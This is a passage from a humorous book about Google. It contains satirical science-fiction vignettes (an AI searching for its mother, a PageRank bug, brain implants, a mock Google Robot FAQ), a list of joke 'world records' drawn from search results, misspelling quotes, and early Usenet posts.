overthrown with joy and he wanted to scream. But at other times, Jake
felt he was alone on the web. He knew he could be very responsive if
someone asked him a question, but he was no true author himself; he
wasn’t giving back to the web those really original ideas. He was just
sucking it all up. That wasn’t the most social thing to do, but Jake
couldn’t help it. He felt he was stuck with his talents, like everybody
who ever inhibited this planet before him was stuck with their talents
too.
42. Forty-Two, or: A Science-Fiction Interlude
161
But one person on earth Jake did desire to talk to. And to be close to,
maybe send some messages back and forth, maybe meet, maybe hug
and do all the things normal people would do. Those people he read
about every day, those people with a mother. Indeed Jake didn’t know
his mother. He never met her, he didn’t know where she lived, or what
she looked and smelled like. All he knew was that nobody on earth was
without a mother, and that he had to take action. If nowhere else she
must have left her footprint on the web. After all it was the year 2031,
and everybody on this planet in some way or another could be found
online.
On this day, Jake decided to concentrate on finding his mother; this
task before him and nothing else. She might even know his real name,
because "Jake" was just what he started to call himself after he realized
no one else ever called him by a name. She might know so much about
him that nobody else would, understand why he was different,
understand why he felt inhuman. And above all, she would love him
like only a mother does. So now Jake wasn’t reading just everything for a
change. Not before he reached out and finally found her.
* * * *
Incidentally that same day, an engineer deep down in the Googleplex –
the place where he and his colleagues manufactured, administrated and
advanced the greatest search engine of its time – would feel forced to
remove the new module he developed over the course of 3 years. He
had installed it just yesterday and there wasn’t even an interface to it,
but oh well, it was only a prototype anyway – based on unproven
methodologies, written in untested algorithms, and fine-tuned largely
in-between his main projects. A module to not only find facts, but to
produce them; a module based on self-modifying code; a module to
hunt fresh ideas and postulate new answers; a module that could read,
learn and explore.
And yet, all this fact-finding machine did was block the one million
Google machines for a whole day. And yet, all it did produce was one
sentence, a sentence too ridiculous for this Google engineer to ponder
reporting to his boss. A single, tiny, trivial sentence, and it would read:
Jake found his mother.
… and nothing else.
55 Ways to Have Fun With Google
162
The PageRank 100 Incident
It was an incident, Google later said – a mere wrong “0” deeply hidden
in the code of the ranking algorithm, triggered at completely
improbable circumstances, a bug so exotic and rare one could say it
practically didn’t even exist. But of course, it existed. And one person’s
life in specific would be changed by this little bug. This person was a
20-something with a keen interest in the web by the name of Josh.
When Josh woke up this fateful morning to update his blog (he wanted
to talk about the nightmarish colors he experienced, something not too
unusual for Friday nights, after all there were a lot of nightmarish
things going on in the world)... he already felt something changed.
There were 320 comments to his last entry, which was innocently titled
“Meeting Joann For Dinner.” 320 comments were about 320 more
than Josh usually got. His blog was up and running for just well over a
year, and even he didn’t feel it was especially exciting (mirroring his life,
like personal blogs do).
Hundreds of comments on a single entry? And these were real
comments, practically spam-free, taking apart his grammar,
commenting on the food of the pub he mentioned, freely chatting
away and just saying Hi. So really, what went wrong? Was there one of
the big sites linking to him? With this amount of visitors, and there
surely must have been millions this morning, he wouldn’t be surprised
if Amazon or Apple used their start page to roll the drums for him.
Josh checked his mailbox, but it was crammed. Completely flooded
with hundreds of emails, some of them…wait, this was weird. Some
of the emails talked about “PageRank” in the subject line. Josh knew
well his little blog, thanks to some avid backlinking he did from other
sites he maintained, had been assigned a Google PageRank of 3. “Not
too bad” in the eyes of Google’s measuring algorithm, but nothing
that would ever rank him especially high. So Josh opened up one of
those emails, and then he had this awkward head rush which made him
jump to the kitchen for cigarette and coffee.
PageRank 100. Apparently, his little blog achieved a PageRank of 100.
And after a coffee, Josh realized what this must mean. He called up
one of his friends, a search engine aficionado who took computer
class. Frank arrived quickly, because he too never saw anything like this,
and equally quickly Frank checked the rankings for some words Josh
wrote in his blog. He mentioned “dinner,” and boom, his site popped
42. Forty-Two, or: A Science-Fiction Interlude
163
up on Google’s number one spot for this word. Hundreds of millions
of people visiting Google, thousands of them entering “dinner,”
hundreds of them being transferred to Josh at any second.
And “dinner” wasn’t even one of the hot words. In fact it was the
amount of words and phrases taken together, like “eating out,” or “San
Francisco,” or “dating,” or “singles,” that had the huge impact. Josh, as
Frank knowingly pointed out to him, gained the complete power of
the word. Something like instant world control, he jokingly added.
“Whatever you say man, whatever you say, people will listen to you.
And there will be lots of people. Don’t tell anyone about this, you’re
gonna be rich. And famous.”
Nothing too bad, as Josh thought. “And after all being rich and famous
means a lot of money and fame,” Frank concluded.
* * * *
And three months later indeed Josh was a celebrity. Every single word
of him got quoted somewhere. CNN. ABC. BBC. Slate. Wired. Daily
Mirror. New York Times. Some opened up daily Josh-columns. Josh
never imagined there were so many journalists around who spice up
their story with a random quip they just googled. There were Josh fan
forums. There were sites dedicated to post essayist comments on Josh’s
posts. Illustrations. Explanations. Discussions.
Josh, who slowly and inevitably started to feel responsible to say
something at least remotely interesting, changed his weblog from
personal diary to commentary on important world events. He didn’t
have the insights, it’s not that. In fact you could consider him
exceptionally clueless about politics and all. But he did have a way of
putting things straight, a no-nonsense, plain real approach of talking.
Not a style he invented – it was around in millions of blogs before. It
was around when your neighbor started talking in the bus. It was the
every-day chit-chat traditional media doesn’t consider polished enough
to be worthwhile. Those were the thoughts not picked up by the
mainstream.
But Josh got a PageRank 100, and apparently, not even the Google
engineers were suspicious.
So when Josh talked about North-Korea, the President had to give a
press meeting. When Josh found that his Operating System was buggy,
Bill Gates had to announce to do everything to better help the
“average user.” (Josh was mildly annoyed by being considered an
55 Ways to Have Fun With Google
164
average user, so Bill Gates had to call in yet another press conference
promising not to think in terms of “average users.”)
In fact when Josh commented on anything happening in the world he
found to be somewhat wrong, it got changed within a course of a day
or two – for the better. Nobody likes bad publicity.
It didn’t stop there – talk about mind control – because whenever Josh
mentioned a new record he liked, it would jump into the Top 10. It
would become a world wide hit almost instantly. Not everybody would
like the song, but you just had to know what the hype was all about.
(Loudon Wainwright III in Top of the Pops. And he didn’t even have a
new album out.)
Josh could now end wars, shape products, push companies close to
bankruptcy, invent fashion (the list goes on)... and revamp the life of a
generation.
Of course now Josh knew why every celebrity around complains they
get too much attention when they take a stroll outside. When he
walked the mall, girls were snickering. On the street people turned
around, pointing. There were camera men outside in the garden, for
chrissake. Josh felt like he had to adopt an attitude quickly, something
like a rock-star lifestyle, so he would always know what to do and say
and walk like. That’s probably why later the talking Josh-doll (Mattel
paid him well) uttered clichees like “You know you want to” or “All the
world’s a blog” or “Don’t listen to me, listen” or “You are a stranger,
my friend.”
The only friend he lost was Frank. Frank felt like Josh didn’t have as
much time these days as before... before, when Josh would still meet
him and Joann for a drink. So Frank decided to end the charade; he
emailed Google. And Google reacted. Josh was not only put down to a
PageRank 0, he was completely banned from all rankings. It was like he
lost his voice.
* * * *
Sure, as Josh would later say, he enjoyed celebrity status for some more
weeks before the media decided to shift focus. But maybe it was for
the better. After all, he didn’t have that much to say, really. So in his
journal he continued to write about his nightmares, which admittedly
gained a few outlandish colors. He could even find time to meet Frank
and Joann. Knowing he’d be a footnote in future history books sort of
made him proud, and well, a bit lazy.
42. Forty-Two, or: A Science-Fiction Interlude
165
These days mostly Josh wanted to find a nice restaurant to relax. Listen
to the music, grab a bite to eat. And whenever someone asked him if
he liked the food, or if he liked the music, or – beware – brought up a
political issue, Josh was keeping awkwardly quiet. Changing the world
was a job for others. And today, Josh found a nice restaurant indeed.
He lit up a cigarette.
That evening someone, somewhere at Google, was laughing. He had
just completed hiding a “0” in the algorithm, at a place so exotic and
rare it practically didn’t exist. Diane was in for a surprise.
55 Ways to Have Fun With Google
166
The Online Brain
Carl was not the first to try out the technology. But he was the first in
his town. Connecting the brain to the ‘net was still quite new and not
yet fashionable.
When people asked him "What time is it?" he fired "12:32" or "11:20"
back at them, without as much as the blink of an eye. When he wanted
to know when the bus would arrive he just fell into a split-second of
self-contemplation and knew the answer. Much like looking for a
memory it needed a bit of conscious training to become part of his
sub-consciousness.
Carl was not the first of his kind, yet most stared at him in a mix of
awe and laughter. They saw guys like him in the news. To them he was
a modern day wizard; idiot savant; part techno-geek, part omniscient.
Always surprising to bystanders who didn’t know his secret (there were
no visible signs on his head or anything).
“What’s the birth-date of Einstein?” – “14 March 1879.”
“What year did Lincoln become President?” – “In 1860.”
“How big is the earth?" – “That’s around 24,000 miles in
circumference around the equator.”
“Who won the Oscar for best actor in 1940?” – “... James Stewart.”
(Instead of Einstein’s birthday, they could have asked him to point out
errors in the Theory of Relativity, but they would stick to trivial facts.
Carl realized no outsider could ever understand what virtual memory
retrieval was truly all about.)
After a short while, Carl’s brain synapses fully embraced the chip. He
integrated the system so completely it became hard for him to
truthfully answer his wife when she asked –
“Did you know that, or just look it up online?”
“I forgot. What’s the difference?”
42. Forty-Two, or: A Science-Fiction Interlude
167
Carl’s wife was not the first to go through these stages of alienation.
Others had been there before with their partners, family or friends. In
fact Carl could recite many stories, word by word, reading out loud
from what was online – what was in his head. Until his wife would get
enough of it and close the light. Which wasn’t stopping Carl from
continuing his reading… darkness was just what he needed to sort
through the daily mails which arrived in his brain.
Transferring thoughts (images, sounds, fragrances) back and forth;
swimming the shared waves of world consciousness; being a part of,
and helping to build, this eternal soul; merging peacefully with others
who once were offline identities, offline like Carl once was. Like his
wife still was.
* * * *
It didn’t take Carl much to convince her to get the brain implant, to
become connected. She felt she was losing him, the man she loved for
all her life; losing him to a future of a world she was scared to be a part
of. If only she knew before what she knew now. She would have done
it earlier. It was all so easy in the end.
Nietzsche. Kant. Hegel. Wittgenstein. Checking, reading,
understanding, comparing. Cross-checking; validating; linking; feeling.
200 books, 300 books. Knowledge – freedom – control – relaxation.
Wisdom. That was only the first hour. Many more would follow.
* * * *
No, Carl wasn’t the first, and by far his wife wouldn’t be the last to try
out this technology. She grabbed for his hand and he for hers as they
walked the park, and sat down on the bench. Shielding their eyes from
the evening sun, looking up to the birds drawing circles above them,
and then looking down again and at each other; smiling,
understanding, and loving each other. There was no need for
communication anymore when you know just what the other knows –
what the rest of humanity knows.
They knew.
And they smiled.
55 Ways to Have Fun With Google
168
The Google Robot FAQ
Frequently Asked Questions
Last update: November 1st, 2030
What are Google Robots?
Google Robots are our human-like machines that walk the earth to
record information. They do no harm, and they do not invade your
privacy.
What are Google Robots good for?
Our Google Life search website is powered by the Google Robot
crawler program. On the Google Life website at life.google.com, you
can:
• Find out what menus the local restaurant offers at what prices
• See a perfect 3D shape of all houses in your city
• Know how crowded the bar is you want to go to tonight
• Know what items to find at your local mall
• Find out if your library has a certain book available (Also see:
What's a book?)
• Know what you said and who you met 3 weeks ago (this feature
is available only to My Public Life™ subscribers)
• Locate your friends (this feature is only available if your friends
subscribed to My Public Life™)
• And much more!
I saw a Google Robot entering a library and reading books in it. Is
that legal?
Our Google Robots do not record private information. As the books
in a library are considered to be public, our Google Robots reserve the
right to scan them. However, we do respect the copyright of individual
works, and will only show a "fair use" portion on our website.
42. Forty-Two, or: A Science-Fiction Interlude
169
What happened to other robotic devices, such as the Google
Keyhole satellite program, or the Google Print project?
We still use specific robotic devices to record specific information. For
example, our Google Robots do not surf the web, yet; this part of the
equation is still left to the so-called Googlebot. Also, we still take
satellite snapshots of the earth. However, it already shows that Google
Robots give a far more detailed 3-dimensional picture of the earth
they're walking.
How much do I need to pay to access information the Google
Robot recorded?
As you may know, the Google Life Subscription service enables you to
access all of Google's information for a yearly subscription fee. If you
are not subscribed, you can still use about 80% of our services – our
revenue from those comes from the related ads attached to this
information.
How many Google Robots walk the earth?
The last number we officially confirmed was 10 million. However, we
expanded since then.
Can Google Robots fly?
At this moment, no, but we're constantly working to improve the
Google Robot feature range.
Does the Google Robot respect my privacy?
Yes! In fact, privacy (and copyright) was our main focus when
originally developing the Google Robot. The Google Robot will not
record information such as:
• Private chatter (even when taking place on a public place, such
as a mall)
• Diaries, letters or other records as found in the trash (even
though the copyright law of some countries permits this, it is
our philosophy to not make copies of such data)
• Telephone calls
55 Ways to Have Fun With Google
170
• Private messages you send through the Google Mail, Google
Talk, or Google Adult VirtualConnect service, unless you
subscribed to the My Public Life™ program
• Information that can be seen by looking through a window, into
a house's garden, etc.
• Any other information law deems private
So what about the My Public Life™ program?
The My Public Life™ program is still in Beta. It enables subscribers to
earn money through our AdSense for Life program. If you agree to
make your personal talks with friends, your diary entries, your living
room and such public, you can in return earn a percentage of the
money we make by putting ads onto this information on our public
websites. Google Robots at all time know who is a subsriber to the My
Public Life™ program, and who isn't. Consequently, they will only
follow those humans who are.
A Google Robot was unwilling to help me find my lost car keys.
Why?
As trying to locate your keys may involve a violation of your privacy,
only subscribers of the My Public Life™ program may use this
feature.
Can I opt-out of the My Public Life™ program?
You can opt-out of the program at any time, upon which we will stop
recording new information from you and your life. However, please
note that the past information, as recorded with your agreement, will
still be available on our site for people to search through.
I'm a subscriber of the My Public Life™ program, and a Google
Robot recorded what I said yesterday. Who owns the copyright to
my speech?
You will retain full copyright to what you say, unless you said it in a
public speech.
42. Forty-Two, or: A Science-Fiction Interlude
171
I heard stories of Google Robots attacking innocent people. Is
that true?
No. A Google Robot, by definition of its internal software program,
can never harm a human person unless out of self-defense. Under the
International Robots Rights Act of 2022, robotic self-defense is a basic
right of all robots. Google Robots have specific routines to ensure they
are not harmed by malicious users.
I've seen a Google Robot in a DVD shop staring at the backside of
a DVD for half a minute, then putting it back in the shelf. Why?
Our Google Robots try to record as much information as possible, and
this includes movies. As you may know, Google Robots have a micro
laser to read from storage devices such as DVDs, CD-ROMs, or even
exotic devices from the 1980s (people at that time used so-called
"floppy discs," "music tapes," or "gramophone records"). Additionally,
a Google Robot may visit the cinema, watch TV, go to a concert, or
attend a public reading.
How many languages do Google Robots speak?
At the moment, Google Robots – thanks to our machine translation
efforts – speak 95 different languages fluently, including English,
French, Spanish, German, Chinese, Japanese, Korean, and many more.
We are updating our Google Robots with new "street lingo" every 1-2
weeks.
I can't find any of Daniel H. Wilson's books in your Google Life
search program. For example, the book "How To Survive a Robot
Uprising" is missing. Why?
We reserve the right to exclude such information from the Google Life
program which may in turn be used for malicious use of our Google
Robots. Please understand that a Google Robot is a complex device
which can have low-level emotions, fears, hopes and such. Destroy a
Google Robot, and you destroyed an (albeit lower) life form.
Is the Google Robot hardware ever checked and updated?
Google Robots return to a Google Warehouse every third night to
undergo a routine check. We have plans for the future to let Google
Robots take care of each other and check for hardware failures of their
colleagues.
55 Ways to Have Fun With Google
172
I want to talk to a Google Robot and tell him of my problems and
more. May I?
Yes! We appreciate it if you share information with a Google Robot.
Please note that anything you directly tell to a Google Robot will be
automatically indexed in our Google Life search program and be made
publicly available.
I heard stories of a Google Robot not helping a woman who was
attacked by a robber, even though the robot was in short distance
of the crime scene. Why don't Google Robots help?
We are constantly trying to improve the Google Robots program. As
you may know, Google Robots receive constant software updates
based on our observations of their acts. A Google Robot at no time
will attack another human unless out of self-defense. This includes
incidences in which the Google Robot has reason to believe another
human is acting against the law. We appreciate your feedback on this
issue and in some countries, already work together with the local police
to find ways of optimizing this behavior.
A Google Robot stepped on my toe! Who can I complain to?
We are sorry for incidences of a Google Robot bumping into you,
stepping on your toe, speaking up without being asked, or similar
mishaps. We are constantly working to improve the audio-visual and
haptic input-output mechanisms of our robots' positronic digibrains.
In other words, we're teaching 'em manners!
Is a Google Robot stronger than a human?
Technically, no. E.g., a Google Robot cannot lift very heavy objects at
this time. However, if a Google Robot is ever forced to fight a human
– which only happens when the Google Robot's self-defense program
is activated by malicious use – the Google Robot would easily win by
activating its self-defense devices. Please understand that for security
reasons, we do not list these self-defense devices in detail here.
How do I auction my stuff to a Google Robot?
As part of our Google Auction program, you can give anything (your
books, your electronic devices, your car) to a Google Robot you meet.
Should the Google Robot be able to sell it, you will be billed a
42. Forty-Two, or: A Science-Fiction Interlude
173
commission to your Google Wallet account. In the meantime, your
items will be safely stored in a Google Warehouse.
How much does a Google Robot weigh?
Google Robots don't like to talk about their weight! But seriously, all
of our Series 1 models weigh approximately 60 kg. Our series 2 models
weigh approximately 50 kg, even though they are able to run faster,
read books quicker, climb better, and jump higher.
I have a feeling of being watched by a Google Robot. What about
my privacy?
Again, we take great measures to ensure no privacy is ever invaded.
Even if there is a Google Robot next to you, it doesn't mean he
records everything you say. You can think of him as a quiet neighbor
doing gardening work. Do you suspect your neighbor to spy on your
life... just because he's within a short distance of you?
Do Google Robots record everything?
Google Robots, at this time, record sound, imagery, and object shapes
(touch), but do not yet record DNA, chemical substances, or
fragrances. We are working on bringing a unified fragrance encoding
standard to the web, and our prototype computer mouse already emits
2 million different fragrances including variations of honey, tobacco,
and wood. We are also working on food testing robots. Please go to the
Google Robots homepage at robots.google.com for the latest news and
updates.
I still feel like a Google Robot invaded my privacy or breached a
copyright. Where do I go to?
You can send privacy or copyright complaints to the following address:
Google, Inc.
Attn: Google Legal Support, DMCA Complaints
220 Far Earth District
Moonlake, Moon 105
Please include the Google Robot serial number (a Google Robot will
always tell you his 16-digit serial number upon being asked), and if
possible, the time when this happened. It is not necessary to give us
further details about the location or setting, as naturally our Google
Robot already recorded this information.
55 Ways to Have Fun With Google
174
I have found a seemingly dead Google Robot. What should I do?
Please inform the Google authorities by sending an email to deadrobot@
google.com. We try our best to remove the malfunctioning
Google Robot as quick as possible. Normally, Google records
malfunctioning Google Robot programs and automatically removes
such machinery from the streets via the help of another Google
Robot.
There's an urban legend of a Google Robot serial killer. What do
you make of that?
We heard this story too, and as all other urban legends, there's not a bit
of truth in it.
Why don't Google Robots look just like humans?
It was not a technical decision to make Google Robots look unlike
humans, even though they are all to some extent human-like. We did
this on purpose to easily allow you to separate a Google Robot from a
human. We are running experimental programs in some cities in the
US, as well as on Mars, with specialized Google Robot series which
may not look like the robots you know.
I never saw a Google Robot with a digital camera. Why not?
A Google Robot's eyes are, in fact, digital cameras. We can record
video as well as still imagery. Additionally, a Google Robot can record
3-dimensional imagery.
Under the Patriot Act IV, are you forced to share information
crawled by Google Robots with agencies such as the CIA or NSA?
We are sorry, but at this moment we cannot comment on government
relationships. We hope you understand. Note that as part of our
company motto, "Don't be too evil," we take your privacy concerns
very seriously.
43. The Google Book of World Records
175
43. The Google Book of World Records
You can use Google as a big factbook to find out everything about
anything – including the world’s extremes. I call it the Google Book of
World Records. To collect records, just search for “the world’s highest
mountain is ...” and similar phrases. Here are some of the results, false
or true!
The highest mountain in the world: Mount Everest. Also,
depending on how you measure: McKinley, Mauna Key.
The smallest animal in the world: An amoeba.
The ugliest animal: An ignorant human. Also: a giant stick insect.
The richest country in the world: Norway. Also available:
Luxembourg.
The largest book in the world: A book located in a religious building
in Mandalay, Burma (near the Golden Duck Chinese restaurant).
The fastest human alive: Charles Paddock.
The biggest city in the world: Reno, also known as “Little Las
Vegas.”
The world’s smartest human: Cecil Adams.
The world’s strongest human: Kuririn Kawaii of Dragonball.
The most expensive car: An old Rolls Royce saloon convertible from
way back in the day, worth 40 million dollars.
The cheapest mode of transportation: By water, but water-borne
commerce is limited in speed. Also cheap: Mini-bus, city-bus, Metro,
and train.
The richest man in the world: Robson Walton. Strong contender:
Bill Gates.
The best comic artist: Marc Silvestri.
The richest woman in the world: Claire Zachanassian.
The poorest country in the world: Mozambique.
55 Ways to Have Fun With Google
176
The most complicated formula: The formula for calculations of the
acoustic field of a slanted transducer in the far-field zone.
The most boring book: Learning and Using Communication
Theories: A Student Guide for Theories of Human Communications,
by Stephen W. Littlejohn.
The most expensive painting: Vincent van Gogh’s “Portrait of Dr.
Gachet.”
The sweetest candy: The sweet-potato candy.
The hottest dish in the world: Taiwain Ramen (Wakaranai).
The spiciest chili is: “Mouseshit” chili that comes from the
mountain. It’s small but deadly!
The most shocking painting: “Grandma’s Bad Attitude,” a chalk
street painting in San Mateo. It depicts a surly elderly woman’s face,
wrinkled with age, her tongue stuck out in disgust.
The fastest car in the world: Honda’s V6 supercar.
The fastest superhero: Marvel’s “Nova.”
The coolest superhero: Superman.
The funniest sitcom: Rick Mercer’s “Made in Canada.”
The world’s deadliest weapon: A Marine and his rifle.
The longest movie: Erich von Stroheim’s 1925 silent movie “Greed.”
The most evil nation: Contamination.
The most poisonous snake: Olive Sea Snake (on land: the Inland
Taipan).
The most poisonous animal: The Dart Poison Frogs from Central
and South America.
The world’s cutest animal: The Swarovski silver crystal sea horse.
The most aggressive dog: An Akita.
The laziest animal: The Sloth.
The world’s largest desert: The Sahara in Africa.
43. The Google Book of World Records
177
The world’s most dangerous city: Baghdad.
The world’s best dad: Homer Simpson.
The world’s best mom: Thangamani of Varkala in Kerala.
The tastiest dish: Squirrels.
The prettiest woman in the world: Tonya Harding.
The fastest guitar player in the world: Jimi Hendrix.
The most famous living person: Harry Potter.
The best James Bond actor: Pierce Brosnan.
The best James Bond movie: Goldfinger.
The worst James Bond movie: A View to a Kill.
The most expensive movie ever made: Steven Spielberg’s “War of
the Worlds.” (Also: James Cameron’s “Titanic.”)
The hippest actor: Brad Pitt.
The man with the best “six-pack” abs: Kwon-Sang Woo.
The person with the highest IQ in the world: Marilyn Vos Savant
(with an IQ of 228).
The world’s tallest man: The one who kneels down to help a child.
The world’s sweetest fruit: Mango, produced in the island province
of Guimaras.
The world’s worst director: Ed Wood.
The busiest city in the world: Tokyo, Japan.
The world’s worst smell: Cat urine.
The biggest problem in the world: That people do not understand
each other.
The most heroic dramaturgical feat ever attempted by an
American Playwright: August Wilson’s ten plays (“Gem of the
Ocean,” “Joe Turner’s Come and Gone,” “Ma Rainey’s Black Bottom,”
“The Piano Lesson,” “Seven Guitars,” “Fences,” “Two Trains
Running,” “Jitney,” “King Hedley II” and “Radio Golf ”).
55 Ways to Have Fun With Google
178
The biggest detonation in history: A nuclear test at the Bikini
Atolls.
The hottest temperature ever measured on earth: 58 degrees
Celsius/ 136 degrees Fahrenheit, in Libya 1922.
The best place to spend holidays: At home.
The world’s saddest movie: Grave of the Fireflies.
The world’s funniest movie: Holy Grail, Life of Brian, and
Napoleon Dynamite.
The world’s slowest website: www.mozdev.org
The world’s tallest building: The Taipei 101 in Taipei, Taiwan (1,670
feet).
The world’s funniest joke1:
Two hunters are out in the woods when one of them
collapses. He doesn’t seem to be breathing and his eyes are
glazed.
The other guy whips out his phone and calls the emergency
services. He gasps: “My friend is dead! What can I do?”
The operator says: “Calm down, I can help. First, let’s
make sure he’s dead.”
There is a silence, then a shot is heard. Back on the phone,
the guy says: “OK, now what?”
The most successful movie: Independence Day.
The most popular dish in the world: Blintz (also called Blintze,
Blin or Blini), a thin pancake.
The best wine in the world: The wine that you like the most –
no matter its country or origin or price level.
The best tennis player in the world: Roger Federer.
The best soccer player in the world: David Beckham.
43. The Google Book of World Records
179
The best pool player in the world: Jackie “Minnesota Fats”
Gleason.
The world’s most renowned expert on Osama bin Laden:
Rohan Gunaratna.
The loudest sound on earth: A space shuttle launch.
The most expensive jewelry on the market today: Platinum
jewelry, platinum engagement pins and rpins.
The most colorful mineral in the world: Fluorite.
The biggest airplane in the world: The An-225 Mriya.
The longest fight in history: Helio Gracie vs Valdemar Santana
(3 hours and 45 minutes non-stop).
The deadliest martial art: Ju Jitsu in its purest form.
The most beautiful children’s book: Jan Karon’s "Miss
Fannie’s Hat."
The worst cook in the world: Dad.
End Notes
1. Diane King, Scotsman.com, on the LaughLab experiment
conducted by Dr. Richard Wiseman, University of Hertfordshire.
(www.55fun.com/43)
55 Ways to Have Fun With Google
180
44. Spelling Errors Galore
Almost every spelling error you can think of has indeed been made at
one time or another. It’s only that before Google came along, we never
knew all the places the misspelling was made, and by whom. That’s
changed now; among the billions of pages indexed, every celebrity,
title, phrase, and word exists in dozens of variants. To see for yourself,
just enter a misspelled word and ignore Google’s spelling suggestion
for a moment (and if you want to limited your search to only a certain
news source, use the “site” operator, e.g. site:cnn.com).
Here’s a “best of spelling,” courtesy of the Google search engine:
“The leader of the Sudan Peoples’ Liberation Movement/Army ...
yesterday received a personal message from US President George
Hush Jr, according to the rebel movement.”
– Afrol News, November 2005
“This autumn, Britney Pears will launch her first perfume to US ...
composed of flowers and vanilla.”
– Toutenparfum.com News, August 2004
“At the current time, The MGM Grand does not have any confirmed
information regarding a April 6th performance starring Paul
McMartney.”
– BeatleLinks Fab Forum, February 2002
“The Iranians are under pressure and the North Koreans are in
disarray so in totality, the war on error it’s been a huge progress in the
past 12 months.”
– CNN.com International Transcript, March 2004
“The weapons of mass distraction were not there and that’s when
we asserted that those weapons where there.”
– CNN.com Transcript, Debate Over U.S. Bid For International Involvment In
Iraq, September 2003
“There is public opinion and there is is public opinion. I’ll give you my
opinion. Michael Jacksin is innocent.”
– A Freudian slip? Michael Jackson Forum, Santa Barbara, California,
September 2004
44. Spelling Errors Galore
181
“... Steven Speilberg ... Steven Spielburg ... Steven Spielberger ...”
– Discussion thread on an E.T. forum
“Favorite NFL Team: an Francisco 49ers”
– What’s an Francisco? Sports Illustrated
“‘Look at this Angelina Jolly,’ Bridget’s mother says in one of the new
columns, presenting her as a role model.”
–International Herald Tribune, August 2005
“Microsoft is hoping to gain a foothold. Also, Goggle’s been there
too, hoping to gain a foothold in the lucrative search engine market.”
– CNN Live Today, Transcript, February 2005
“Margaret Mitchell was born in Atlanta, Georgia ... In 1922 she
marred Berrien Upshaw”
– TeenReads.com, Margaret Mitchell Biography, 2003
“If you don’t know who Bruce Campbell is, you must have been living
under a rock! He’s only the biggest B-Move Actor ever”
– Judy’s Books member reviews, August 2005
“Who is the fynest male movie stair of 2003???”
– BestAndWorst.com Ballot
55 Ways to Have Fun With Google
182
45. Google Groups, Time Machine
Google Groups1 is the name of Google’s internet discussion group
search engine. Not only does it let you search recent postings from the
so-called Usenet, it also contains a huge archive going back to May 11,
1981. And this is where the fun starts.
By using the Google Groups advanced search options, you can set a
posting start and end date for every search query. This way you can go
back in time to find the earliest mentions of a celebrity, an idea, a
company, or anything else starting from the 1980s. (Like the first
mention of pop singer Madonna, or a first discussion about New
Coke.) Sometimes, the way people talked about this “new thing” back
then is interesting in itself. Also, you can find out about popular
misconceptions, or predictions which are extremely off-target in
retrospect.
A while ago, Google presented a “best of ” timeline showing off gems
from the “golden age of Usenet.” The timeline was created with the
help of Jürgen Christoffel, Kent Landfield, Bruce Jones, Henry
Spencer, and David Wiseman. Following are portions of this timeline
and its postings as well as my own findings.
Working on Tron
We are currently working ... on the Disney/Lisberger
production of TRON. This film will be a combination of
computer animation, hand animation, optical image
processing ("the Bob Able look") and live action. Only
about 10% is live action. While the plot of TRON may be
hard for hackers to take (its about computers, and so
computer hackers will get picky about the details of the
fantasy plotline) it looks like it will be very striking visually.
– Craig W. Reynolds via JPM, fa.sf-lovers, Jun 10 1981
Microsoft Not Downwards-Compatible
Several announcements have indicated that DOS 2.0 is
compatible with DOS 1.1 ... In at least one instance, this is
not true! In DOS 1.1, function 1Bh returns a pointer to …
– Cdi in net.micro.pc, April 9 1983
45. Google Groups, Time Machine
183
First Mention of MTV
You want to see re-dubs and lip-synchs check out MTV –
if your ears can take it...
– Teklabs in net.music, Mar 22 1982
Star Wars: Return of the Jedi
“Revenge of the Jedi”... Episode 6 in the Star Wars saga,
has just finished filming, according to some friends I have
down in Arizona. ... The release date for us humans that
want to see it is still the summer of 1983. I guess it takes
that long to score all the music, do all the film-editing,
prepare all the promo material, and all that junk.
– Azure in net.movies, June 9 1982
The Hitchhiker’s Guide to the Galaxy
... appears weekly on PBS. (Fri in Toronto) very strange
but enjoyable sci-fi.
– utcsstat in net.movies, August 6 1982
The C64 Computer
Any opinions on the new Commodore 64 computer. I’ve
seen it and it looks pretty neat. (i) it comes with 64K of
memory standard (ii) in highest graphics resolution it has
320 X 200 pixels.
– Doug in net.micro, Aug 21 1982
Madonna’s Early Years
I have heard a song with some chipmunk-voiced woman
singing ‘We’re living in a Material World’ ... Question: Who
sings this?
– Bob Switzer in net.music, January 17 1985
55 Ways to Have Fun With Google
184
The New “Terminator” Movie
‘The Terminator’ is better than I thought it would be. The
coming attractions made it look like a fairly standard action
film emphasizing multiple deaths. Well, that element is
certainly present, but there is more to the film than violent
killings. Not an awful lot more, but more.
– Reiher in net.movies, November 5 1984
First Usenet Mention of the Y2K Bug
I have a friend that raised an interesting question that I
immediately tried to prove wrong. He is a programmer and
has this notion that when we reach the year 2000,
computers will not accept the new date. Will the computers
assume that it is 1900, or will it even cause a problem? I
violently opposed this because it seemed so meaningless.
– Spencer Bolles net.bugs, Jan 19 1985
The New Coke
Okay.... I’ve endured a lot of abuse in my time, but this is
the final straw! **** They are changing the Coca-Cola
formula!!!!!!!!!! **** Is nothing sacred??!!! They might as well
outlaw the Beatles, or change God’s name, or reinstate
prohibition.
– Gordon Howel in net.misc, April 26 1985
First Mention of Bruce Willis
You all out there have been talking about ABC and
whether anyone actually watches it anymore. Well, there’s
a show on ABC called “Moonlighting” that is actually not
half-bad. It stars Cybil Shephard (there aren’t too many
better looking women on television) and Bruce Willis (I
know, who???).
– Jeff Gershengorn in net.tv, September 7 1985
45. Google Groups, Time Machine
185
Early Review of Back to the Future
Let me be the first to recommend Back to the Future.
There’s life yet in the Steven Spielberg’s little world, which
had started to get a little shopworn with Goonies. All the
familiar Spielberg elements are there: popular non-science,
whacky nuclear family, small-town America, heartwarming
twists of plot ... Yet three things save this one, in high style:
1) Robert Zemeckis’ direction. I don’t know how he does
it, but somehow, without any particular style you can point
your finger at, he has developed the lightest touch in
movies, and I now believe that this man can put
ANYTHING over on you, and make you love it. 2) The
performance of the lead actor, whose name I don’t even
know. He now joins Tom (Risky Business) Cruise and ...
(The Sure Thing) ... as the most appealling young comic
actors in America.
– Steve Upstill in net.movies, June 30 1985
First Mention of IRC
I have recently got ahold of a program called irc (Internet
Relay Chat) Each machine runs its own server and the
servers are link in a tree fashion to a master server. I’ve
only messed with it a little, but it appears to be a good
program.
– Todd Ferguson in comp.sources.d, February 10 1989
AOL Disks?
has this happened to anyone else? I have received 4 of
those AOL disks over the last year or so, and I have never
once taken them up on their free offers.
– Scott, via Bruce Fletcher, around 1994
Seinfeld
For those interested, Jerry Seinfeld’s show has been
renewed for the fall season. A good move by NBC,
IMHO. If you haven’t seen the show, check it out.
– Brian Boguhn, via Larry Setlow, around 1990
55 Ways to Have Fun With Google
186
The World Wide Web Is Announced By Its Inventor
